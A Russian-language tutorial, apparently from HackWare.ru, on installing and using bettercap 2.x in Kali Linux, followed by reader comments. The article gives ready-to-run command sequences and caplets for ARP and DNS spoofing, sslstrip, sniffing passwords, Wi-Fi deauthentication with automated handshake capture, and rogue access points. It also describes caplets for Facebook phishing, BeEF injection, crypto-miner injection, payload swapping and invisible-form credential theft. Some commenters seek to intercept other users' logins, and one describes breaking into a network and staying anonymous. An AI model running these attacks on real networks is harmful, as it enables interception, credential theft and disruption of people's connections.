Новая версия bettercap 2.x: как установить и использовать в Kali Linux
Оглавление
1. Отличия bettercap 2 от bettercap 1.6
2. Варианты установки bettercap 2 в Kali Linux
3. Скачивание и установка последней версии bettercap
4. Инструкция по использованию bettercap
4.2 Интерактивный и неинтерактивный режим. Опции -eval и -caplet. Каплеты
4.3 Как запустить спуфинг и сниффинг в bettercap
4.4 Транспарентный (прозрачный) HTTP прокси
4.6 Встроенный веб-сервер в bettercap
4.8 Захват рукопожатий в bettercap
4.9 Создание мошеннической точки доступа
5.3 Замена загружаемого файла на полезную нагрузку
5.6 Сбор логинов и паролей с помощью невидимых форм
5.7 Перенаправление IPv4 DNS запросов используя DHCPv6 ответы
5.8 Тестирование скрипта http.proxy
5.10 Изменение строки интерактивной сессии bettercap
5.11 Изменение содержимого загружаемых веб-страниц
6. Установка bettercap из исходного кода в Kali Linux
Отличия bettercap 2 от bettercap 1.6
Я уже писал про bettercap, в том числе на страницах HackWare.ru:
В конце февраля 2018 вышла bettercap 2 и с тех пор именно эта версия активно развивается, в неё добавляются новые функции. Версия bettercap 1.6 является устаревшей и больше не поддерживается.
В последних версиях bettercap очень много изменений – программа была переписана заново, причём на другом языке программирования: вместо Ruby теперь Go. Благодаря смене языка и другим применяемым методикам, драматически выросла производительность, оптимизировано использование ЦПУ и памяти.
Поменялась модель взаимодействия с программой – раньше это была утилита командной строки, при запуске которой использовались различные опции. Новую версию также можно запускать в не-интерактивном режиме, используя опции, но теперь доступен интерактивный режим, а также API.
Поменялось даже предназначение программы: раньше это была модульная платформа для реализации комплексных атак человек-посередине, теперь кроме поддержки атак человек-посередине, имеется функционал для мониторинга сети, мониторинга и атак на беспроводные сети 802.11 и BLE.
Функции программы стали более атомизированы, например, для запуска самой обычной атаки человек-посередине, состоящий из ARP-спуфинга и сниффинга, теперь нужно ввести несколько команд (раньше было достаточно одной опции). Это увеличивает гибкость использования программы и её модулей, но при этом и усложняет использование. Чтобы автоматизировать работу программы и упростить использование, теперь применяются каплеты, которые управляют работой bettercap и её модулями. Примеры каплетов собраны в репозитории https://github.com/bettercap/caplets.
И это даже не все изменения! Стоит упомянуть, что поддерживаются нативные плагины Go (через модуль packet.proxy), некоторые модули поддерживают скриптовый язык JavaScript для манипулирования данными и управления поведением программы, а сама программа и её каплеты поддерживают нативные системные команды.
В общем – это просто другая программа, в которой всё по-новому.
В связи с этим, была написана новая страница справки по программе: https://kali.tools/?p=3870. Она получилась большой, т.к. дам даны характеристики всех модулей.
Старая страница с описанием программы сохранена! Это сделано по той причине, что на момент написания в Kali Linux доступна именно прежняя версия. К тому же, наверняка найдутся поклонники прежней версии, которые предпочтут её новой.
Варианты установки bettercap 2 в Kali Linux
В репозиториях Kali Linux уже присутствует bettercap, но на момент написания там устаревшая версия 1.6.2. Чтобы проверить, какая версия bettercap в данный момент доступна для установки из официальных репозиториев, выполните:
apt-cache show bettercap | grep 'Version: '
Если будет выведено что-то вроде:
Version: 1.6.2-0kali1
значит версия является устаревшей.
Если там появится версия 2.x, то для её установки достаточно выполнить:
sudo apt install bettercap
Скачивание и установка последней версии bettercap
Удалим устаревшую версию bettercap, если она была установлена ранее:
sudo apt remove bettercap sudo rm /usr/local/bin/bettercap
Фикс для уже установленной библиотеки:
ln -s /usr/lib/x86_64-linux-gnu/libpcap.so.1.8.1 /usr/lib/x86_64-linux-gnu/libpcap.so.1
Скачиваем архив с бинарным файлом последней версии bettercap:
wget "https://github.com`curl -s https://github.com/bettercap/bettercap/releases | grep -E -o '/bettercap/bettercap/releases/download/v[0-9.]+/bettercap_linux_amd64_(|v)[0-9.]+zip' | head -n 1`"
Распаковываем, перемещаем, делаем очистку и проверку:
unzip bettercap_linux_amd64_*zip sudo mv bettercap /usr/local/bin/ rm bettercap_linux_amd64_* bettercap -h
Установка bettercap из исходного кода будет рассмотрена в конце статьи.
Инструкция по использованию bettercap
Теперь главной функциональной особенностью bettercap является не только и не столько различные атаки человек-посередине. Благодаря каплетам и скриптам, возможны реализации самых разных фишинговых атак и атак на основе манипуляции данными, отправной точкой которых является атака человек-посередине. По этой причине непросто написать исчерпывающую инструкцию по bettercap.
Чтобы примерно представить возможности программы, прочитайте перевод документации на русский язык, а также ознакомьтесь с репозиторием каплетов: многие из них имеют комментарии в исходном коде, которые помогают понять, что именно будет делать программа.
Далее будут рассмотрены совсем простые примеры запуска bettercap. Начнём с использования интерактивной сессии, для этого запустите bettercap:
sudo bettercap
Мониторинг локальной сети
Чтобы вывести список обнаруженных хостов локальной сети наберите команду:
net.show
Это пассивный метод мониторинга, поскольку поиск хостов основывается на считывании ARP кэша.
Чтобы выйти из программы, наберите q или нажмите CTRL+z.
А модуль net.probe активно ищет хосты, отправляя фиктивные UDP пакеты каждому возможному IP в подсети. Включаем этот модуль:
net.probe on
Смотрим обнаруженные хосты:
net.show
Это активный метод – анализаторам сети будет видно, что компьютер с bettercap массово рассылает пакеты.
С помощью bettercap можно непрерывно мониторить состояние сети, получая на экране данные в режиме реального времени, для этого последовательно выполните:
net.probe on ticker on
Первая команда net.probe on, как мы выяснили чуть раньше, включает активный поиск хостов, а вторая команда используется для периодического выполнения заданного набора команд. Поскольку мы не указали, какие именно команды выполнять, то выполняются команды по умолчанию, а именно clear; net.show, в результате достигается интересный эффект: в фоне постоянно происходит поиск хостов, а на экране в режиме реального времени выводится актуальная информация.
Интерактивный и неинтерактивный режим. Опции -eval и -caplet. Каплеты
Если вам неудобно каждый раз запускать bettercap в интерактивном режиме, то вы можете использовать опцию -eval, после которой укажите команды, которые нужно выполнить. Например, предыдущий пример равнозначен такому запуску:
sudo bettercap -eval "net.probe on; ticker on"
Прямо в интерактивной сессии bettercap можно выполнять команды системы. К примеру, следующий набор команд проверяет, имеется ли подключение к глобальной сети:
ping -c 1 ya.ru >/dev/null 2>&1 && echo "Есть подключение к Интернету" || echo "Нет подключения к Интернету"
Эту же команду (набор команд) можно выполнить прямо в интерактивной сессии, достаточно перед первой командой поставить восклицательный знак:
!ping -c 1 ya.ru >/dev/null 2>&1 && echo "Есть подключение к Интернету" || echo "Нет подключения к Интернету"
Теперь мы к мониторингу локальной сети добавим ещё и мониторинг подключения к Интернет. Запускаем активный поиск локальных хостов:
net.probe on
Устанавливаем значение переменной ticker.commands – там теперь три команды – две уже известные нам внутренние команды bettercap (это clear; net.show;) и ещё один набор системных команд:
set ticker.commands 'clear; net.show; !ping -c 1 ya.ru >/dev/null 2>&1 && echo "Есть подключение к Интернету" || echo "Нет подключения к Интернету"'
При желании, можно увеличить период до трёх секунд (по умолчанию одна секунда):
set ticker.period 3
Запускаем циклическое выполнение задачи:
ticker on
В результатах выполнения обратите внимание на новую строку «Есть подключение к Интернету»:
Используя знакомую нам опцию -eval это всё можно запустить ещё и таким образом:
sudo bettercap -eval 'net.probe on; set ticker.commands "clear; net.show; !ping -c 1 ya.ru >/dev/null 2>&1 && echo "Есть подключение к Интернету" || echo "Нет подключения к Интернету""; set ticker.period 3; ticker on'
Но кроме опции -eval есть ещё опция -caplet, которая также позволяет запустить программу с заданными командами.
Давайте создадим наш первый каплет. Для этого создайте текстовый файл с именем netmon.cap (имя можно выбрать любое):
gedit netmon.cap
И просто скопируйте в него все наши команды, которые мы вводили в интерактивной сессии, должен получится файл следующего содержания:
# Суперхакерский каплет – эта строка здесь для демонстрации комментариев net.probe on # Обратите внимание на отсутствие кавычек в этом примере и на кавычки в предыдущих: set ticker.commands clear; net.show; !ping -c 1 ya.ru >/dev/null 2>&1 && echo "Есть подключение к Интернету" || echo "Нет подключения к Интернету" set ticker.period 3 ticker on
Теперь запустим bettercap с опцией -caplet, после которой укажем путь до файла с каплетом:
sudo bettercap -caplet ./netmon.cap
Как запустить спуфинг и сниффинг в bettercap
Начнём с запуска ARP-спуфинга:
arp.spoof on
По умолчанию выполняется атака на всю подсеть, поэтому если ARP-спуфинг работает плохо, то установите IP целей с помощью переменной arp.spoof.targets. Её значением может быть один IP или несколько IP перечисленных через запятую, например:
set arp.spoof.targets 192.168.0.90
Как уже было показано выше, чтобы увидеть все хосты в локальной сети и выбрать жертву используется команда:
net.show
Значения переменных нужно устанавливать до запуска соответствующего модуля. Если вам нужно поменять значение переменной уже запущенного модуля, то остановите уже запущенный модуль, установите новое значение и вновь запустите модуль, например:
arp.spoof off set arp.spoof.targets 192.168.0.90 arp.spoof on
Для сниффера по желанию, можно уменьшить уровень вербальности:
set net.sniff.verbose false
Если вы хотите сохранить захваченные во время сниффинга сетевые пакеты в файл, то в качестве значения net.sniff.output укажите файл для сохранения данных
set net.sniff.output /tmp/captured.pcap
Запускаем сниффер:
net.sniff on
Транспарентный (прозрачный) HTTP прокси
Для анализа HTTP трафика необходимо включить http.proxy. Если его использовать совместно со спуфером, весь HTTP трафик будет перенаправляться на него и при необходимости он будет автоматически обрабатывать перенаправление портов.
Если вы хотите использовать sslstrip, то необходимо изменить значение переменной http.proxy.sslstrip, которое по умолчанию установлено на false:
set http.proxy.sslstrip true
Сам прокси включается так:
http.proxy on
Полный перечень команд для атаки на локальный IP 192.168.0.90, в результате будет выполняться непрерывный ARP-спуфинг данного адреса, что приведёт к тому, что трафик будет перенаправлен на машину атакующего, на прозрачный HTTP прокси, где, по возможности, с помощью sslstrip будет сделан переход с HTTPS на HTTP, вербальность сниффера понижена, чтобы не выводились не интересующие нас данные:
set http.proxy.sslstrip true set net.sniff.verbose false set arp.spoof.targets 192.168.0.90 arp.spoof on http.proxy on net.sniff on
Для атаки на всю подсеть, из этого списка команд пропустите команду set arp.spoof.targets 192.168.0.90.
DNS-спуфинг в bettercap
За подмену DNS запросов отвечает модуль dns.spoof. Вы можете выполнить настройку перед его запуском.
По умолчанию спуфятся все домены, если вы хотите это изменить, то перечислите их через запятую в качестве значения переменной dns.spoof.domains. Например, я хочу спуфить только два домена suip.biz и mi-al.ru, тогда:
set dns.spoof.domains suip.biz, mi-al.ru
По умолчанию ответы DNS сервера подменяются так, что в каждый из них вставляется IP, указывающий на адрес интерфейса той машины, на которой запущен bettercap. IP адрес меняется через переменную dns.spoof.address:
set dns.spoof.address желаемый_IP
Этот модуль будет отвечать только на те запросы, которые нацелены на локальный ПК, чтобы отвечать на все установите значение переменной dns.spoof.all на true:
set dns.spoof.all true
Для запуска модуля:
dns.spoof on
Встроенный веб-сервер в bettercap
Для обработки запросов к веб-серверу вы можете использовать установленный в вашей системе сервер, например, в Kali Linux установлен Apache и его достаточно только запустить:
systemctl start apache2
В bettercap также встроен простой сервер, который может отдавать HTML страницы и другие статичные файлы, например JavaScript, CSS, картинки и т.п.
Нужно указать адрес папки сервера, изменив значение переменной http.server.path:
set http.server.path /путь/до/папки
О дополнительных опциях для настройки вы узнаете на странице с документацией.
Для запуска сервера (системный сервер, например Apache, должен быть остановлен, поскольку может возникнуть конфликт из-за того, что разные программы пытаются прослушивать один и тот же порт):
http.server on
Мониторинг Wi-Fi сетей
Это новая функция bettercap. Кстати, ещё добавлена поддержка Bluetooth Low Energy.
Для работы с Wi-Fi нужно использовать опцию -iface, после которой указать имя беспроводного интерфейса:
sudo bettercap -iface wlan0
В случае, если при последующих командах у вас будут возникать ошибки, например, такая:
Can't restore interface wlan0 wireless mode (SIOCSIWMODE failed: Bad file descriptor). Please adjust manually.
То выйдете из bettercap и вручную переведите беспроводной интерфейс в режим монитора. Например, следующим образом:
sudo ip link set wlan0 down sudo iw wlan0 set monitor control sudo ip link set wlan0 up
Теперь, когда беспроводной интерфейс в режиме монитора, снова запускаем bettercap и вводим команду:
wifi.recon on
Она запускает обнаружение Wi-Fi устройств:
Если вы хотите ограничится мониторингом только определённых каналов, то выполните команду вроде этой (она устанавливает переключение только по первым трём каналам):
wifi.recon.channel 1,2,3
Кстати, если вам в дальнейшем понадобится очистить список каналов (сделать так, чтобы программа прыгала по всем каналам), то для этого используется следующая команда:
wifi.recon.channel clear
Чтобы показать результаты наберите:
wifi.show
Следующий набор команд запустит сбор информации о Wi-Fi устройствах, будет выводить таблицу с полным перечнем обнаруженных точек доступа, а также список из последних 20 обнаружений:
set ticker.commands 'clear; wifi.show; net.show; events.show 20' wifi.recon on ticker on
Захват рукопожатий в bettercap
Да, bettercap теперь умеет и это, причём также умеет выполнять атаку деаутентификация.
Если мы хотим захватить рукопожатие от конкретной точки доступа, то нам нужно знать канал, на котором она работает. В принципе, этого достаточно, если мы собираемся пассивно ожидать, когда клиент подключится/переподключится к ТД.
Для выполнения атаки деаутентификация нам нужно знать BSSID точки доступа (в этом случае атака будет выполняться в отношении всех клиентов) или BSSID клиента (в этом случае атака будет выполнятся в отношении одного клиента).
Начнём с настройки сниффера. Сделаем его вербальным:
set net.sniff.verbose true
Установим фильтр для пакетов рукопожатия:
set net.sniff.filter ether proto 0x888e
Настроем сохранение полученных данных в файл wpa.pcap:
set net.sniff.output /root/wpa.pcap
Запустим сниффер:
net.sniff on
Сниффер каждый раз запускается одинаково. Дальнейшие значения переменных зависят от атакуемой цели.
Цель, которую я хочу атаковать, работает на 8 канале, поэтому устанавливаю канал:
wifi.recon.channel 8
Запускаем анализ сети:
wifi.recon on
Меня интересует ТД с BSSID 50:46:5d:6e:8c:20, можно установить фильтр:
wifi.recon 50:46:5d:6e:8c:20
Следующие две команды опциональные, они будут периодически очищать экран и выводить таблицу с увиденными базовыми станциями (можно посмотреть, есть ли вообще у атакуемой Точки Доступа клиенты), если вы этого не хотите, то пропустите эти команды:
set 'ticker.commands clear; wifi.show' ticker on
Переходим к деаутентификации. Атаку можно выполнять в двух формах:
wifi.deauth ЗДЕСЬ-BSSID-ТД
или:
wifi.deauth ЗДЕСЬ-BSSID-КЛИЕНТА
В первом случае будут деаутентифицироваться все клиенты, во втором – конкретный указанный клиент. Я хочу деаутентифицировать всех клиентов точки доступа, тогда моя команда:
wifi.deauth 50:46:5d:6e:8c:20
Файл с захваченными фреймами можно открыть для проверки в Wireshark:
Чтобы отфильтровать четырёхэтапные рукопожатия, используйте фильтр:
llc.type == 0x888e
Или фильтр:
eapol
Кроме bettercap уже существует достаточно программ, которые умеют захватывать рукопожатия. Преимуществом bettercap является то, что мы можем автоматизировать процесс.
К примеру, следующая команда проверяет файл захвата и выводит информацию о рукопожатии(ях) если они там обнаружены:
tshark -r /root/wpa.pcap -R 'eapol' -2 2>/dev/null
Чуть более вербальная команда:
if [ "`tshark -r /root/wpa.pcap -R 'eapol' -2 2>/dev/null`" ]; then echo "Захвачено рукопожатие"; else echo "Ничего нет"; fi;
Нам нужна эта команда для написания каплета, который будет работать по следующей логике:
- при старте запускает сниффер для захвата четырёхэтапного рукопожатия
- запускает атаку деаутентификации
- проверяет, было ли захвачено рукопожатие
- если рукопожатие захвачено – завершение работы bettercap
- если рукопожатие не захвачено, возврат к шагу 2
Для этого я создаю файл HS_capture_50465d6e8c20.cap со следующим содержимым:
# Настройка и запуск сниффера set net.sniff.verbose true set net.sniff.filter ether proto 0x888e set net.sniff.output /root/wpa.pcap net.sniff on # Настройка и запуск анализа беспроводных сетей; канал и BSSID замените на свои значения wifi.recon.channel 8 wifi.recon on sleep 20 wifi.recon 50:46:5d:6e:8c:20 # Выполнение атаки деаутентификация, сон на 60 секунд, проверка, было ли захвачено рукопожатие, если да – то выход из bettercap. Обратите внимание, что если вы поменяли имя файла, куда сохраняется рукопожатие, то вам также нужно поменять его и здесь - /root/wpa.pcap, а также нужно заменить BSSID на атакуемую вами ТД set ticker.commands wifi.deauth 50:46:5d:6e:8c:20; sleep 60; !'if [ "`tshark -r /root/wpa.pcap -R 'eapol' -2 2>/dev/null`" ]; then echo "Рукопожатие захвачено, завершаем работу программы."; sleep 1; pkill -1 bettercap; else echo "Рукопожатие ещё не захвачено"; fi;' # Период выполнения цикла – здесь установлена всего одна секунда, поскольку в предыдущем наборе команд имеется sleep 60;, которая устанавливает сон на 60 секунд: set ticker.period 1 # Запуск цикличного выполнения команд ticker on
Запуск bettercap
sudo bettercap -iface wlan0 -caplet ./HS_capture_50465d6e8c20.cap
Программа будет работать пока не захватит рукопожатие. Но после захвата рукопожатия, bettercap завершит свою работу и больше не будет беспокоить клиентов сети.
Создание мошеннической точки доступа
Среди Wi-Fi функций имеется возможность создавать мошенническую точку доступа – с шифрованием или без.
Создание поддельной точки доступа "Banana" с BSSID DE:AD:BE:EF:DE:AD на 5 канале без шифрования:
set wifi.ap.ssid Banana set wifi.ap.bssid DE:AD:BE:EF:DE:AD set wifi.ap.channel 5 set wifi.ap.encryption false wifi.recon on; wifi.ap
Как можно увидеть – имеется большой простор для автоматизации и различных комбинированных атак, в том числе автоматизированных атак на основе социальной инженерии.
Обзор каплетов bettercap
Как уже было сказано, каплеты размещены в официальном репозитории. Там есть как совсем простые примеры, автоматизирующие несколько типичных действий, так и довольно комплексные реализации современных атак.
Подцепление на BeEF
BeEF – это платформа эксплуатации веб-браузеров. Для начала эксплуатации необходимо внедрить в веб-страницу JavsScript код. Каплеты beef-passive.cap и beef-active.cap делают именно это. Внедрением управляет файл beef-inject.js, поэтому если вы хотите изменить адрес или порт JavsScript файла, то нужно отредактировать именно этот файл.
Перед началом данной атаки вам нужно самостоятельно запустить службу BeEF, либо отредактировать каплеты, добавив туда соответствующую команду.
Первый каплет внедряет пассивно, второй – активно, используя перенаправление трафика с других хостов с помощью ARP-спуфинга.
Внедрение майнера
crypto-miner.cap внедряет майнер (файл). Вам самостоятельно нужно ввести свой ключ, отредактировав файл crypto-miner.js.
Замена загружаемого файла на полезную нагрузку
Каплет download-autopwn.cap в зависимости от атакуемого устройства подсовывает ему подходящий файл. Настройка выполняется в download-autopwn.cap. В паре идёт файл download-autopwn.js, который предназначен НЕ для внедрения в браузер, он используется в качестве скрипта для модуля http.proxy (т.е. управляет поведением bettercap и манипуляцией трафиком).
Если кто-то загрузил полезную нагрузку:
Кража паролей Facebook
Каплет fb-phish.cap показывает фальшивую страницу входа Facebook на 80 порту, прерывает попытки входа, используя http.proxy, печатает учётные данные и перенаправляет цель на реальный Facebook.
В паре идёт файл fb-phish.js, который является скриптом для модуля http.proxy.
Вам самим нужно позаботится о создании фейковой страницы входа и запуске сервера. В этом вам поможет файл с инструкциями Makefile (если у вас скачен репозиторий каплетов, в командной строке Bash выполните):
cd caplets/www/ make
Затем уже в bettercap:
set http.server.address 0.0.0.0 set http.server.path caplets/www/www.facebook.com/ set http.proxy.script caplets/fb-phish.js http.proxy on http.server on
Сбор HTTP запросов
http-req-dump.cap использует модуль http-req-dump.js, он написан на JavaScript и собирает разнообразные HTTP запросы. Можно комбинировать со сниффингом, для этого раскомментируйте соответствующие строки в файле http-req-dump.cap.
Сбор логинов и паролей с помощью невидимых форм
Суть атаки в следующем: если на сайте вы ранее вводили логин и пароль, то если на странице присутствует форма, браузер автоматически заполняет введённые ранее данные. Firefox делает это сразу, для Chrome требуется любое взаимодействие пользователя – например, клик в любом месте веб-страницы. Эта форма может быть невидимой. Итак, атакующий внедряет на страницы сайта невидимую форму, в которую браузер сам вводит логин и пароль, форма передаёт данные атакующему.
Это реализовано в каплете login-man-abuse.cap.
Имеется демо-страница, на которой вы можете увидеть пример атаки: введите любой e-mail и пароль, затем вас перекинет на другую страницу, которая «угадает», что именно вы ввели ранее.
Перенаправление IPv4 DNS запросов используя DHCPv6 ответы
Описание атаки на английском языке: https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/
Примерная суть в том, что в современных версиях Windows система настроена отдавать предпочтение IPv6. Атакующий отвечает DHCPv6 сообщениями, предоставляет системе link-local IPv6 адрес и указывает хост атакующего в качестве DNS сервера. Далее выполняется атака по сценарию DNS-спуфинга.
Атака реализована в mitm6.cap.
Тестирование скрипта http.proxy
Каплет proxy-script-test.cap поможет вам протестировать работу скрипта модуля на JavaScript. В паре идёт файл proxy-script-test.js.
Сниффер паролей
Очень просотой камплет simple-passwords-sniffer.cap. В нём показывается поиск данных по регулярному выражению и сохранение данных в файл, за это отвечают команды:
set net.sniff.regexp .*password=.+ set net.sniff.output passwords.cap
Изменение строки интерактивной сессии bettercap
Можно настраивать строку, в которую вы вводите команды. В том числе можно показывать в ней полезную информацию. Пример такой настройки с выводом статистики содержится в test-prompt-stats.cap.
Изменение содержимого загружаемых веб-страниц
Каплет web-override.cap переписывает любую загруженную страницу на ту, которую указал атакующий. В паре идёт файл web-override.js, это модуль http.proxy и именно в нём описываются выполняемые действия, например, какую страницу показывать.
Вы можете писать свои собственные каплеты, при желании, интересные примеры можно предлагать для добавления в репозиторий.
Установка bettercap из исходного кода в Kali Linux
Необходимо установить компилятор Go. Подробно процесс установки описан здесь: https://zalinux.ru/?p=1245
Установите необходимые для компиляции пакеты:
sudo apt install bison byacc libpcap0.8-dev pkg-config libnetfilter-queue-dev
Фикс для уже установленной библиотеки:
ln -s /usr/lib/x86_64-linux-gnu/libpcap.so.1.8.1 /usr/lib/x86_64-linux-gnu/libpcap.so.1
Скачиваем исходный код, компилируем, устанавливаем:
go get github.com/bettercap/bettercap cd $GOPATH/src/github.com/bettercap/bettercap make build && sudo make install
Чтобы в дальнейшем обновить программу:
go get -u github.com/bettercap/bettercap cd $GOPATH/src/github.com/bettercap/bettercap make build && sudo make install
Заключение
Как можно увидеть, bettercap из простой и весёлой программы для атак человек-посередине разросся в мощный комбайн для анализа трафика, тестирования и выполнения разнообразных сетевых и беспроводных атак.
Для упрощения рутинных действий можно писать небольшие каплеты в несколько команд – например, для запуска сниффинга в локальной сети, или сбора информации о Wi-Fi сетях.
Связанные статьи:
- Инструкция по использованию Bettercap (90.5%)
- Инструкция по использованию Router Scan by Stas’M. Часть третья: Применение фальшивого VPN (атака человек-посередине+обход HSTS) (66.4%)
- Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету, использование пользовательских фильтров и плагинов, подцепление на BeEF, заражение бэкдорами (64.3%)
- Инструкция по использованию Router Scan by Stas’M. Часть вторая: Применение фальшивого DNS (61.9%)
- Как перехватить пароль SSH. Атака человек-посередине на SSH (61.5%)
- Автоматический сбор рукопожатий с Besside-ng (RANDOM - 11.1%)
При попытке снифа wifi сети получаю ноль полезной информации.
запускаю bettercap -iface wlan0
затем net.sniff on
arp.spoof on
получаю что-то такое
192.168.1.0/24 > 192.168.1.134 » [05:48:17] [net.sniff.leak.udp] udp MACVOSTOK3R.:60713 > 239.255.255.250:ssdp 183 bytes map[Size:%!s(int=183)]
192.168.1.0/24 > 192.168.1.134 » [05:48:43] [net.sniff.leak.udp] udp router.asus.com.:33174 > 239.255.255.250:ssdp 390 bytes map[Size:%!s(int=390)]
192.168.1.0/24 > 192.168.1.134 » [05:48:43] [net.sniff.leak.udp] udp router.asus.com.:33174 > 239.255.255.250:ssdp 458 bytes map[Size:%!s(int=458)]
192.168.1.0/24 > 192.168.1.134 » [05:48:43] [net.sniff.leak.udp] udp router.asus.com.:33174 > 239.255.255.250:ssdp 470 bytes map[Size:%!s(int=470)]
192.168.1.0/24 > 192.168.1.134 » [05:48:44] [net.sniff.leak.udp] udp router.asus.com.:33174 > 239.255.255.250:ssdp 454 bytes map[Size:%!s(int=454)]
Как получить посещаемые сайты и данные логина и пароля с http сайтов?
Видимо, не работает ARP-спуфинг. Кстати, у меня тоже не работает: ни на проводном, ни на беспроводном интерфейсах. Я сначала подумал, что дело в IPv6 или в особенностях роутера (некоторые роутеры препятствуют ARP-спуфингу), но Ettercap в этой же самой сети прекрасно справляется.
Народ, кто попробовал – пишите здесь, у кого как, работает ли MITM?
Killo, это вы открывали тикет? Надо собрать побольше информации и открыть новый тикет. Похоже на баг, только странно, что такую очевидную вещь не заметили другие.
я открывал, открыл еще раз, так как закрыли неразобравшись в проблеме. мне кажется по скриншоту там все понятно)
Тикет снова зарыли отправив в мануал в котором я так и не нашел разрешения этого вопроса( Если кто-то справился с этой проблемой то отпишите плиз "КАК!".
Уже увидел — я был подписан на тикет.
Я сам перечитываю мануал и смотрю примеры каплетов — не могу понять, что не так. Поражают такие люди — неужели трудно пару команд написать, чтобы народ перестал маяться…
До меня допёрло. В общем, после начала ARP-спуфинга нужно запускать http.proxy:
Понятно, что мы затупили, но всё равно, автор – хам Ему достаточно ведь было одну команду написать…
запустил, не помогло, все равно не видит нет ни одного перехода или логина отображаемого в bettercap. прокси, сниффер и arp запущены. но результат такой же как на первом моем скрине.
Ощущаю себя максимально криворуким. У тебя стало после включения http.proxy показывать данные посещаемых клиентами сети сайтов?
Да, но нестабильно: какое-то время показывает, потом останавливается. Пробовал отключать IPv6 – не могу понять, влияет или нет. Кажется, что работает стабильнее. Через провод, вроде, тоже работает лучше – но опять же атака произвольно «отваливается».
Запускаю так:
Затем команды:
Сейчас пробую запускать с опцией -debug для отладки, в глаза бросаются надписи:
И т.д.
Может будет лучше если вручную указывать адреса для атаки.
Это можно сделать через переменную
Помогла перед запуском спуфинга установка IP цели:
и теперь атака не отваливается – всё стабильно, постоянно появляются надписи (включён режим отладки):
В 2.10 у меня тоже нестабильно работает ARP-спуфинг. Заметил, что он почему-то всегда работает после сканирования сети (net.probe on; net.show)
суперхакерский каплет удивительно удобный для анализа работы сети буду разбираться…сначало думал что то они намудренно испортили а оказалось действительно швейцарский нож))…. спасибо — и вообще за работу сайта.
Зачем же так усложнили то
ссылка на криптомайнер не работает добавлю это сюда
https://github.com/bettercap/caplets/blob/7b711fb7bc0d5bcb960986ed9c9c68c1674ae680/crypto-miner.cap
Спасибо, что обратили внимание. Проблема была в плагине WP No External, который, как оказалось, не дружит с анкорными ссылками (нужны для оглавления статьи). Добавил github.com в исключения – вроде стало нормально.
Здравствуйте люди добрые. Что с этим делать? Тапками не кидайтесь, я только в начале тернистого пути изучения Linux.
Приветствую! Дело в том, что вы пытаетесь запустить 64-битный файл в 32-битной системе. Скомпилированные бинарные файлы доступны только для 64-битных систем. Посмотрите сами здесь: https://github.com/bettercap/bettercap/releases/
Для выхода из этой ситуации, вам нужно установить bettercap из исходного кода. Это довольно просто и описано в этой же инструкции: https://hackware.ru/?p=5022#6
Ещё у вас на скриншоте я увидел ошибку, что не получается создать символьную ссылку. Это тоже связано с тем, что у вас 32-битная система и файл libpcap.so.1.8.1 размещён в директории с другим именем.
Чтобы узнать, где именно находится этот файл выполните команду
Напишите здесь путь до вашего файла, и я напишу правильную команду для 32-битной системы.
Доброго времени суток! Спасибо огромное за коммент.! Установил все таки х64 и все получилось на ура.
Привет. Извеняюсь что немного не по теме но у меня вопрос. Есть ли тут статья по управлению нетворк менеджер. Такая проблема. В общем сменил мак и название wan1 ломанул AP зашел посмотрел все че хотел. Отключился…. Но потом после рестарта нетворк менеджера эта собака подключаеться автоматически к ломаной сети с оригинальным маком! Что лешает меня анонимности..((( Это грустно и печально. Как отключить в нетворк менеджер режим автоматического подключения к доступным вайфай точкам? Скажите пожалуйста уже всю голову поломал.
Про смену MAC в Network Manager, по каким правилам она работает и как настроить автоматическую смену в этой статье.
Для отключения автоматического подключения к сети перейдите к её настройкам:
И здесь на выбор – снять галочку с Подключаться автоматически, либо просто Забыть соединение:
Благодарствую Сансей) Пойду разбираться.
В Попугае немного не так как оказалось. Но направление вы мне дали верное. Спасибо.
Тоже самое делаеться так.
Вкладка Система — Параметры — интернет и сети — сетевые соединения.
Но Управление Нетворк менеджер изучить надо тоже обязательно, много полезного) Спасибо.
Подскажите, что не так?
Всё так. Для проверки программа запускается с опцией -h — на картинке справка по программе. Теперь для старта программы наберите
и дальше действуйте по инструкции.
Скажите, а так разве нормально работает. У меня после команды -h выдало ошибку ( если я правильно понял) если ето не ошибка… то команды в прямоугольнике правильно заданны.. ? почему тогда нет никакого движения?
Извените за глупые вопросы, только начал оваивать Linux!
Как я написал, там была справка по программе – именно это и ожидалось.
Почитайте внимательно инструкцию – я начинаю с того, что смотрю, какие компьютеры с какими IP адресами присутствуют в сети. В том числе, видно, что присутствует компьютер с IP 192.168.0.90.
Затем я привожу пример команд, которые я ввожу для атаки компьютера с IP 192.168.0.90.
Т.е. для описываемого случая, для моей локальной сети команды правильные.
Но в вашей сети у устройств могут быть другие IP адреса. И вам также нужно начинать с обзора сети. Т.е. программа не выдаёт ошибку и работает нормально. Но с точки зрения логики, ваши действия не верны. По логике нужно было бы посмотреть, кто есть в сети. А затем ввести указанные команды, но вместо моего IP, вписать IP одного из устройств в вашей сети.
Всерамно, что то у меня не так… отсутствует файл "go" Хотя установка прошла успешно.
Скажите, играет значения что трафик у меня проходит через ТОР?
И еще, а можно отаковать конкретный iP не своей сети?
Взавтра сделаю откат и начну сначала!
Скажите! При установке Kali linux ( где загружаем дополнительное ПО через зеркало) незагружает, смена зеркал то же самое. Пропустил этот параметр… при обновлении через терминал тоже не какого движения не происходит. Вчем причина?
Подскажите, какую команду нужно прописать для данной программы чтоб открывалась не из терминала а по значку. Эту статью прочитал, но что то не получаеться правильный путь прописать для запуска.
Здравствуйте, при запуске http.proxy в командной строке выдает ошибку:
тоже самое и с https.proxy
Kali linux установлен на Raspberry
Приветствую! Какая-то проблема с iptables (программа для фильтра пакетов, файервол). bettercap только показывает, что попытка выполнить команду iptables окончилась неудачей. Попробуйте выяснить, в чём проблема iptables.
Попробуйте выполнить ту самую команду, которая завершается ошибкой:
Посмотрите, что именно выводится — какая ошибка?
Попробуйте ещё несколько команд, вызовут ли они ошибку:
sudo bettercap -iface wlan0
net.probe on
ticker.on
net.show
set arp.spoof.targets 192.168.0.104
arp.spoof on
set net.sniff.verbose false
net.sniff on
После этого у жертвы не грузятся страницы в браузере, но беттеркап запрос, например, Get показывает.
В чём может быть проблемы?
Alexey добрый день. Вы уже рни раз меня выручали, вот прошу еще раз помощи. Не могу установить bettercap 2.0 на Ubuntu 18.04. после ввода:
go get github.com
/bettercap/bettercap
выдает : # pkg-config —cflags libusb-1.0
Package libusb-1.0 was not found in the pkg-config search path.
